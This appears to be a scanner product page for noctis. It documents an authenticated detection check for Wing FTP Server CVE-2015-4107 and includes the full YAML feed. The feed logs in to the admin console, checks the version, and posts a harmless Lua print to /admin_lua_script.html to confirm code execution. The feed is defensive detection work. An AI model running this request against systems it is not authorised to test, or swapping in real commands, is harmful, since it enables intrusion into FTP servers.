Wing FTP — 1 vulnerability check

noctis ships 1 vulnerability check for Wing FTP, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Wing FTP Server <= 4.3.8 Authenticated Command Execution

CVECVE-2015-4107
Severityhigh · CVSS 8.2
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, script, match · highest QoD 97 · needs scan credentials
Feedtests/vulnerabilities/wing-ftp/CVE-2015-4107.yaml

Authenticated feed: logs in to the Wing FTP admin console with the supplied credentials, checks the version, and reports when the Lua console (/admin_lua_script.html) runs a print of a marker, confirming command execution.

How noctis detects it

  1. HTTP(S) request POST /admin_loginok.html with a crafted body
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /admin_lua_script.html with a crafted body
  5. Checks exec.body for noctis-exec-[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{… → finding QoD 97: Authenticated command execution confirmed via Wing FTP admin Lua console (/admin_lua_script.html); marker returned: …

References:

Feed source — tests/vulnerabilities/wing-ftp/CVE-2015-4107.yaml
uid: 511e8901-e9e2-4a23-b460-4ba05d8b9d3a
name: "CVE-2015-4107 — Wing FTP Server <= 4.3.8 Authenticated Command Execution"
description: "Authenticated feed: logs in to the Wing FTP admin console with the supplied credentials, checks the version, and reports when the Lua console (/admin_lua_script.html) runs a print of a marker, confirming command execution."
cves: [CVE-2015-4107]
cvss: 8.2
severity: high
category: rce
confidence_base: 0.30
tags: [wing-ftp, authenticated, command-execution, rce]
services: [http, https]
author: noctis
version: "1.0.0"
# Authenticated feed: an operator must supply admin credentials on POST /scans
# (credentials {username,password}); the feed is skipped when none are given.
requires_credentials: true
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-4107"
  - "OpenVAS NASL 2014/wing_ftp/gb_wing_ftp_server_command_exec_vuln.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2014/wing_ftp/gb_wing_ftp_server_command_exec_vuln.nasl
# (GPL-2.0-only, Greenbone Community Feed). Faithful to the source plugin's auth-then-exploit
# flow: it authenticates to the Wing FTP admin web console with supplied credentials, then
# executes code through the admin Lua console (os.execute in the source). Here the payload is a
# harmless Lua print whose unique marker is computed server-side, so a match proves code
# execution rather than reflection. No destructive timing oracle is used.
#
# Engine limitations this feed deliberately works within:
#   - The login body is sent verbatim (not URL-encoded), so a username/password containing
#     '&', '+', '%' or '=' would be mis-parsed by the target. Fine for typical admin logins;
#     a credential-encoding helper would be needed for arbitrary secrets.
#   - HttpResult.headers is a HashMap, so only the LAST Set-Cookie header of a multi-cookie
#     login response survives. The Wing FTP console sets the UIDADMIN session cookie in a
#     single header, so this is sufficient here.
steps:
  # ── 1. Authenticate to the admin console ────────────────────────────────
  - id: login
    action: http_request
    method: POST
    path: "/admin_loginok.html"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username={{cred_username}}&password={{cred_password}}"
    store_as: login

  # ── 2. Version gate — only <= 4.3.8 is vulnerable ───────────────────────
  # Running Lua in the admin console is a normal, still-supported feature, so the exec
  # confirmation alone would also fire on a fixed server. Parse the version Wing FTP
  # advertises in its Server header and compare numerically (major*1e6 + minor*1e3 + patch).
  - id: version-gate
    action: script
    code: |
      let server = "";
      if "server" in login.headers { server = login.headers["server"]; }
      let m = eregmatch("Wing FTP Server/([0-9]+)\\.([0-9]+)\\.([0-9]+)", server);
      let vulnerable = false;
      if m.len() >= 4 {
        let v = int(m[1]) * 1000000 + int(m[2]) * 1000 + int(m[3]);
        vulnerable = v <= 4003008;
      }
      vulnerable
    store_as: vuln_version

  # ── 3. Capture the admin session cookie from the login response ─────────
  # Extract the UIDADMIN session token the console sets on a successful login.
  # Leaves session_cookie empty on a failed login (wrong credentials).
  - id: extract-session
    action: script
    code: |
      let sc = "";
      if "set-cookie" in login.headers { sc = login.headers["set-cookie"]; }
      let m = eregmatch("UIDADMIN=[0-9a-fA-F]+", sc);
      if m.len() > 0 { m[0] } else { "" }
    store_as: session_cookie

  # ── 4. Execute code through the authenticated admin Lua console ─────────
  # The marker is assembled from two literals ("noctis-exec-" .. token), so the
  # final contiguous marker never appears in the request body — only a server
  # that actually evaluates the Lua produces it.
  - id: exec
    action: http_request
    method: POST
    path: "/admin_lua_script.html"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "vuln_version == true && session_cookie != \"\""
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Cookie: "{{session_cookie}}"
    body: "command=print(\"noctis-exec-\" .. \"{{oob_token}}\")"
    store_as: exec

  # ── 5. Confirm the marker in the Lua console output ─────────────────────
  - id: detect
    action: match
    source: exec.body
    pattern: "noctis-exec-[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
    condition: "vuln_version == true && session_cookie != \"\""
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Authenticated command execution confirmed via Wing FTP admin Lua console (/admin_lua_script.html); marker returned: {{exec.body}}"
      stop: true

View these feeds on GitHub